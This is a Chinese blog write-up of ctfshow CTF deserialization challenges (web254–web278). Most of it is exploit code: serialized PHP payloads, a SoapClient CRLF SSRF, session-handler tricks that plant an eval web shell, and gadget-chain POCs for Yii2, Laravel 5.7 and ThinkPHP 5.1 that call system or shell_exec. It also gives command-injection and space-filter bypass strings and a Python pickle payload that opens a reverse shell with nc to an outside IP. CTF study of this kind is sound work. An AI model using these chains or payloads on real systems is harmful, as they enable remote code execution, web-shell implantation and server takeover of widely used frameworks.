ctfshow_反序列化

WEB254

源码:

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

没什么好说的,直接代码审计一下

Payload:?username=xxxxxx&password=xxxxxx

web255

源码:

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

1、首先get传的username和password都是xxxxxx
因为源码里面
2、反序列化

<?php
class ctfShowUser{
	public $isVip = true;
}
$user = serialize(new ctfShowUser);
echo $user;

构造语句

user=O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

BURP改包,注意分号需要编码。
在这里插入图片描述

web259-php原生类SoapClient

该类的构造函数如下:

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

在这里插入图片描述
源码:

<?php
highlight_file(__FILE__);
$vip = unserialize(\$_GET['vip']);
$vip->getFlag();


//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop(\$xff);
​
​
if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

由于服务器带有cloudfare代理,我们无法通过本地构造XFF头实现绕过,我们需要使用SoapClient与CRLF实现SSRF访问127.0.0.1/flag.php,即可绕过cloudfare代理

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

web263

存在www.zip,把代码下载下来进行审计。
在inc.php那里发现这个:
利用点是session.serialize_handler与php.ini的配置不同引起的反序列化
先看一下默认配置
在这里插入图片描述

接下来我们换一种配置模式

ini_set(‘session.serialize_handler’, ‘php_serialize’);
在这里插入图片描述

payload

<?php
ini_set('session.serialize_handler', 'php');
session_start();

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
}

$user = new user('1.php','<?php eval($_POST[1]);phpinfo(); ?>');
// $_SESSION['user'] = $user;

$A = serialize($user);
echo base64_encode('|'.$A);

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNToiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTsgPz4iO3M6Njoic3RhdHVzIjtOO30=

先访问index.php
在这里插入图片描述
在limit输入payload,然后访问check.php
最后访问文件。

参考文章:
PHP中session的存储方式(WP)
深入浅析PHP的session反序列化漏洞问题

web265

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

payload

class ctfshowAdmin{
    public $token=1;
    public $password=1;


    public function login(){
        return $this->token===$this->password;
    }
}
$a = new ctfshowAdmin();
$a->password=&$a->token;
// echo serialize($a);
// echo "<br\>";
echo urlencode(serialize($a));

web264 大写绕过

源码

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');
//可以读取http entity body中指定长度的值,由Content-Length指定长度,不管是POST方式或者GET方法提交过来的数据


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
//当异常被抛出时,其后的代码不会继续执行
}

这里我们简单分析一下,分析之后发现本来需要构造一个序列化然后结束的时候会自动打印flag,但是这边有一个限制,就是构造的参数里面不能包含ctfshow,这里可以用大写绕过。
当没有大写的时候
在这里插入图片描述
这里改成大写之后,即出现了flag
在这里插入图片描述

web267

打开页面

在这里插入图片描述
首先发现一个登入弱口令
在这里插入图片描述
然后登入之后这个页面变得不一样,找到一个小提示
在这里插入图片描述
这里的url格式是这样的
在这里插入图片描述
所以访问
url/?r=site/about&view-source得到反序列化点
payload ?r=backdoor/shell&code=poc

poc.php

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /f*';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

?>


``这个链子具体可以自己根据源码走一遍大概就懂了什么意思。
这里可以看我语雀上的博客: [Yii2 反序列化漏洞(CVE-2020-15148)复现](https://www.yuque.com/eliauk-qeitj/aacgpz/htevqt)
![在这里插入图片描述](https://img-blog.csdnimg.cn/2f572a26a7294d01be77685e524a6cef.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTUxNTk4,size_16,color_FFFFFF,t_70)


![在这里插入图片描述](https://img-blog.csdnimg.cn/6b02ec30a0b646d59ca23dacf3e6f32b.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ1OTUxNTk4,size_16,color_FFFFFF,t_70)

web268

前面还是跟上一篇一样,这里前面那条链子好像行不通,所以换一条链子

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'echo "<?php eval($_POST[1]);phpinfo();?>" > /var/www/html/basic/web/1.php';
            ///var/www/html/basic/web
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

这里的链子是参考大佬文章的我是怎么挖掘yii2反序列化0day的

有兴趣的话可以自己去挖掘

这题首先把路径外带出来,然后利用命令执行写马。
在这里插入图片描述
在这里插入图片描述
解密之后,直接写马

echo “<?php eval(\$_POST[1]);phpinfo();?>” > /var/www/html/basic/web/1.php

在这里插入图片描述
这里记住$符号一定要转义,不然就会报错
在这里插入图片描述

在这里插入图片描述

web269

这里还是跟之前一样,先试试原来的poc,发现没有用
在这里插入图片描述
然后试试是不是这个链子被封了
在这里插入图片描述
先试试PHPinfo然后发现被封了,没有回显
在这里插入图片描述
然后我们又继续换一条链子

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

这里执行成功说明,这条链子没有被禁用
在这里插入图片描述

这里继续外带,得到路径
在这里插入图片描述
在这里插入图片描述
然后发现这条链子也没用,写不了马。
这里找来了一个通用的链子

<?php
///backdoor/shell
//unserialize(base64_decode($_GET['code']))
//index.php?r=/backdoor/shell&code=1

// 通用链
namespace yii\rest {
    class Action extends \yii\base\Action
    {
        public $checkAccess;
    }
    class IndexAction extends Action
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\base {
    class BaseObject
    {
        //
    }
    class Action
    {
        public $id;
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult extends BaseObject
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('phpinto', '1');
    echo base64_encode(serialize($exp));
}


接着继续上面的步骤,写马。
在这里插入图片描述

web270

这里还用上面的通杀脚本

///backdoor/shell
//unserialize(base64_decode($_GET['code']))
//index.php?r=/backdoor/shell&code=1

// 通用链
namespace yii\rest {
    class Action extends \yii\base\Action
    {
        public $checkAccess;
    }
    class IndexAction extends Action
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\base {
    class BaseObject
    {
        //
    }
    class Action
    {
        public $id;
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult extends BaseObject
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('phpinto', '1');
    echo base64_encode(serialize($exp));
}

直接写马,然后发现马是写进去了但是执行不了。
在这里插入图片描述
这里需要加一个截断

shell"."_exec

echo “<?php ev"."al(\$_POST[1]);phpinfo();?>” > /var/www/html/basic/web/1.php

在这里插入图片描述

在这里插入图片描述

web271

laravel5.7反序列化漏洞
大家有兴趣可以下载源码自己去分析分析,这里可以提前先熟悉一下框架的poc怎么打,后续再详细学链子是怎么写出来的。

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-05 22:14:15
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-05 22:21:46
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;

        public function __construct($command, $parameters,$class,$app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}

namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}


namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;

        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}

namespace{
    echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('ls${IFS}/'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>

先ls康康目录,这里记住ls中间不能有空格,所以用绕过
① 空格过滤
空格可以用以下字符串代替:

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

在这里插入图片描述
在这里插入图片描述
接下来就直接获取flag
在这里插入图片描述

在这里插入图片描述

web272

laravel5.7的链子被过滤了,找了laravel5.8的:
这里直接放poc


web274

thinkphp5.1的反序列化链,参考文章:
Thinkphp5.1 反序列化漏洞复现
很难的一条链,和这条链比起来前面的yii2和larvel5.8的链确实简单了不少。
poc

<?php
namespace think\process\pipes{

    use think\model\Pivot;

    class Windows
    {
        private $files = [];
        public function __construct(){
            $this->files[]=new Pivot();
        }
    }
}
namespace think{
    abstract class Model
    {
        protected $append = [];
        private $data = [];
        public function __construct(){
            $this->data=array(
              'feng'=>new Request()
            );
            $this->append=array(
                'feng'=>array(
                    'hello'=>'world'
                )
            );
        }
    }
}
namespace think\model{

    use think\Model;

    class Pivot extends Model
    {

    }
}
namespace think{
    class Request
    {
        protected $hook = [];
        protected $filter;
        protected $config = [
            // 表单请求类型伪装变量
            'var_method'       => '_method',
            // 表单ajax伪装变量
            'var_ajax'         => '',
            // 表单pjax伪装变量
            'var_pjax'         => '_pjax',
            // PATHINFO变量名 用于兼容模式
            'var_pathinfo'     => 's',
            // 兼容PATH_INFO获取
            'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
            // 默认全局过滤方法 用逗号分隔多个
            'default_filter'   => '',
            // 域名根,如thinkphp.cn
            'url_domain_root'  => '',
            // HTTPS代理标识
            'https_agent_name' => '',
            // IP代理获取标识
            'http_agent_ip'    => 'HTTP_X_REAL_IP',
            // URL伪静态后缀
            'url_html_suffix'  => 'html',
        ];
        public function __construct(){
            $this->hook['visible']=[$this,'isAjax'];
            $this->filter="system";
        }
    }
}
namespace{

    use think\process\pipes\Windows;

    echo base64_encode(serialize(new Windows()));
}


web275

源码

highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    //接收post的数据
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        //'DOCUMENT_ROOT'当前运行脚本所在的文档根目录。在服务器配置文件中定义。
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

这题主要是system函数,然后还是destruct销毁方法,所以我们只要让if($f->checkevil()===false)不成立,就不会用销毁文件,所以直接

?fn=php;cat f*
在这里插入图片描述

在这里插入图片描述

web276-python反序列化

查看源码

/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) 

参考文章:
一篇文章带你理解漏洞之 Python 反序列化漏洞
python 反序列化
这题坑的点有2个,一个就是没有回显,另外一个就是os.system用不了,不知道为什么,用os.popen就可以了。因为没回显,所以弹一下shell,bash弹不了,用nc:

import requests
import pickle
import base64
import string
import os

url = "http://5056613a-b7ba-45e5-b9ed-20d7dc0d66d6.challenge.ctf.show:8080/backdoor"

class exp(object):
    def __reduce__(self):
        return (os.popen,('nc 103.45.186.252 39543 -e /bin/sh',))

a=exp()
s=pickle.dumps(a)

params={
    'data':base64.b64encode(s)
}
r=requests.get(url=url,params=params)
print(r.text)

在这里插入图片描述

web278-禁用os.system

姿势同上


版权声明:本文为qq_45951598原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。